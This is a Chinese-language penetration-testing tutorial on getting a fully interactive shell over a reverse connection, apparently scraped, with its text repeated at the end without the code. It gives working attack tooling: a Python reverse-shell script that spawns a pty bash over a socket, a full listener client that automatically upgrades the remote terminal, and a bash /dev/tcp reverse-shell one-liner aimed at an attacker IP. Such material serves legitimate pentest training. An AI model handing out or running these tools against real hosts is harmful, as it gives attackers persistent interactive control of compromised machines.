关于一次python获得完整交互式shell的研究
字数 1098 2025-08-25 22:58:47

Python获取完整交互式Shell的研究与实现

前言

在渗透测试和后渗透阶段,常规反弹的shell往往是非交互式的,无法使用su、vim等命令,也无法使用tab补全和上下箭头历史命令。本文详细研究如何通过Python实现完整交互式shell的获取方法。

基础概念

交互式shell与非交互式shell的区别

  • 非交互式shell:通过nc、bash反弹的shell,无法使用tab补全、vim等需要终端特性的程序
  • 交互式shell:具有完整终端特性,可以执行所有需要终端交互的程序

传统升级交互式shell的方法

# 在反弹的shell中执行
python -c 'import pty; pty.spawn("/bin/bash")'

# 然后按Ctrl+Z挂起
# 在本地终端执行
stty raw -echo; fg

# 最后执行
reset

Python实现完整交互式shell

方法一:使用pty模块直接生成

# reverse_server.py
from socket import *
from sys import argv
import subprocess

talk = socket(AF_INET, SOCK_STREAM)
talk.connect(("127.0.0.1", 23333))
subprocess.Popen(["python -c 'import pty; pty.spawn(\"/bin/bash\")'"],
                stdin=talk, stdout=talk, stderr=talk, shell=True)

特点

  • 直接生成pty,省略手动步骤
  • 需要目标环境有Python

方法二:使用script命令替代pty模块

# 在目标机器执行
script /dev/null

优点

  • 不依赖Python环境
  • 几乎所有Linux系统都自带script命令

缺点

  • 需要按两次Ctrl+D才能退出
  • 终端可能混乱,需要reset恢复

特制客户端实现

基础客户端实现

# reverse_client.py
import sys, select, tty, termios, socket
import _thread as thread
from sys import argv, stdout

class _GetchUnix:
    def __call__(self):
        fd = sys.stdin.fileno()
        old_settings = termios.tcgetattr(fd)
        try:
            tty.setraw(sys.stdin.fileno())
            ch = sys.stdin.read(1)
        finally:
            termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
        return ch

getch = _GetchUnix()

CONN_ONLINE = 1

def daemon(conn):
    while True:
        try:
            tmp = conn.recv(16)
            stdout.buffer.write(tmp)
            stdout.flush()
        except Exception as e:
            CONN_ONLINE = 0

if __name__ == "__main__":
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.bind(('0.0.0.0', 23333))
    conn.listen(5)
    talk, addr = conn.accept()
    print("Connect from %s.\n" % addr[0])
    thread.start_new_thread(daemon, (talk,))
    while CONN_ONLINE:
        c = getch()
        if c:
            talk.send(bytes(c, encoding='utf-8'))

优化后的完整客户端

# reverse_client_bash.py
import socket
import sys
import termios
import tty
from os import path, popen
from sys import stdout

# Python2/3兼容处理
if (sys.version_info.major == 2):
    def get_byte(s, encoding="UTF-8"): return str(bytearray(s, encoding))
    STDOUT = stdout
    import thread
else:
    def get_byte(s, encoding="UTF-8"): return bytes(s, encoding=encoding)
    STDOUT = stdout.buffer
    import _thread as thread

# 终端设置保存
FD = None
OLD_SETTINGS = None

class _GetchUnix:
    def __call__(self):
        global FD, OLD_SETTINGS
        FD = sys.stdin.fileno()
        OLD_SETTINGS = termios.tcgetattr(FD)
        try:
            tty.setraw(sys.stdin.fileno())
            ch = sys.stdin.read(1)
        finally:
            termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
        return ch

getch = _GetchUnix()
CONN_ONLINE = 1

def stdprint(message):
    stdout.write(message)
    stdout.flush()

def close_socket(talk, exit_code=0):
    import os
    global FD, OLD_SETTINGS, CONN_ONLINE
    CONN_ONLINE = 0
    talk.close()
    try:
        termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
    except TypeError:
        pass
    os.system("clear")
    os.system("reset")
    os._exit(exit_code)

def recv_daemon(conn):
    global CONN_ONLINE
    while CONN_ONLINE:
        try:
            tmp = conn.recv(16)
            if (tmp):
                STDOUT.write(tmp)
                stdout.flush()
            else:
                raise socket.error
        except socket.error:
            msg = "Connection close by socket.\n"
            stdprint(msg)
            close_socket(conn, 1)

def main(port):
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    conn.bind(('0.0.0.0', port))
    conn.listen(1)
    reset = True
    try:
        rows, columns = popen('stty size', 'r').read().split()
    except Exception:
        reset = False
    try:
        talk, addr = conn.accept()
        stdprint("Connect from %s.\n" % addr[0])
        thread.start_new_thread(recv_daemon, (talk,))
        talk.send(get_byte("""script /dev/null && exit\n""", encoding='utf-8'))
        talk.send(get_byte("""reset\n""", encoding='utf-8'))
        if (reset):
            talk.send(get_byte("""resize -s %s %s > /dev/null\n""" % (rows, columns), encoding='utf-8'))
        while CONN_ONLINE:
            c = getch()
            if c:
                try:
                    talk.send(get_byte(c, encoding='utf-8'))
                except socket.error:
                    break
    except KeyboardInterrupt:
        pass
    finally:
        stdprint("Connection close...\n")
        close_socket(conn, 0)

if __name__ == "__main__":
    if (len(sys.argv) < 2):
        print("usage:")
        print("      python %s [port]" % path.basename(sys.argv[0]))
        exit(2)
    main(int(sys.argv[1]))

关键改进

  1. 自动发送初始化命令序列:
    script /dev/null && exit
    reset
    resize -s [rows] [columns] > /dev/null
    
  2. 处理终端大小调整
  3. 完善的异常处理和清理机制
  4. Python2/3兼容

使用bash反弹shell的完整方案

靶机端命令

bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1

攻击机端处理

使用优化后的reverse_client_bash.py自动处理:

  1. 自动发送script /dev/null创建伪终端
  2. 发送reset重置终端
  3. 调整终端大小为本地终端大小

注意事项与问题解决

  1. script命令在不同发行版的差异

    • CentOS 7下表现正常
    • Kali Linux下可能出现tab补全失常、退格键错误,可通过reset -e修复
  2. resize命令替代方案

    stty rows [num] columns [num]
    

    替代

    resize -s [num] [num]
    
  3. 退出问题

    • 使用exec script /dev/null自动结束当前终端
    • 或在反弹shell时加-c "script /dev/null"
  4. 替代方案

    • 使用C编写的ptyshell:https://github.com/QAX-A-Team/ptyshell

相关资源

  1. Getting a functional TTY from a reverse shell
  2. python-pty-shells
  3. ptyshell

总结

通过Python实现完整交互式shell的关键在于:

  1. 正确生成伪终端(pty)
  2. 处理终端属性和大小
  3. 完善的输入输出重定向
  4. 异常处理和清理机制

优化后的方案可以:

  • 适用于大多数Linux环境
  • 自动完成终端初始化
  • 提供与本地终端几乎相同的使用体验
  • 兼容Python2和Python3环境
Python获取完整交互式Shell的研究与实现 前言 在渗透测试和后渗透阶段,常规反弹的shell往往是非交互式的,无法使用su、vim等命令,也无法使用tab补全和上下箭头历史命令。本文详细研究如何通过Python实现完整交互式shell的获取方法。 基础概念 交互式shell与非交互式shell的区别 非交互式shell :通过nc、bash反弹的shell,无法使用tab补全、vim等需要终端特性的程序 交互式shell :具有完整终端特性,可以执行所有需要终端交互的程序 传统升级交互式shell的方法 Python实现完整交互式shell 方法一:使用pty模块直接生成 特点 : 直接生成pty,省略手动步骤 需要目标环境有Python 方法二:使用script命令替代pty模块 优点 : 不依赖Python环境 几乎所有Linux系统都自带script命令 缺点 : 需要按两次Ctrl+D才能退出 终端可能混乱,需要reset恢复 特制客户端实现 基础客户端实现 优化后的完整客户端 关键改进 : 自动发送初始化命令序列: 处理终端大小调整 完善的异常处理和清理机制 Python2/3兼容 使用bash反弹shell的完整方案 靶机端命令 攻击机端处理 使用优化后的 reverse_client_bash.py 自动处理: 自动发送 script /dev/null 创建伪终端 发送 reset 重置终端 调整终端大小为本地终端大小 注意事项与问题解决 script命令在不同发行版的差异 : CentOS 7下表现正常 Kali Linux下可能出现tab补全失常、退格键错误,可通过 reset -e 修复 resize命令替代方案 : 替代 退出问题 : 使用 exec script /dev/null 自动结束当前终端 或在反弹shell时加 -c "script /dev/null" 替代方案 : 使用C编写的ptyshell:https://github.com/QAX-A-Team/ptyshell 相关资源 Getting a functional TTY from a reverse shell python-pty-shells ptyshell 总结 通过Python实现完整交互式shell的关键在于: 正确生成伪终端(pty) 处理终端属性和大小 完善的输入输出重定向 异常处理和清理机制 优化后的方案可以: 适用于大多数Linux环境 自动完成终端初始化 提供与本地终端几乎相同的使用体验 兼容Python2和Python3环境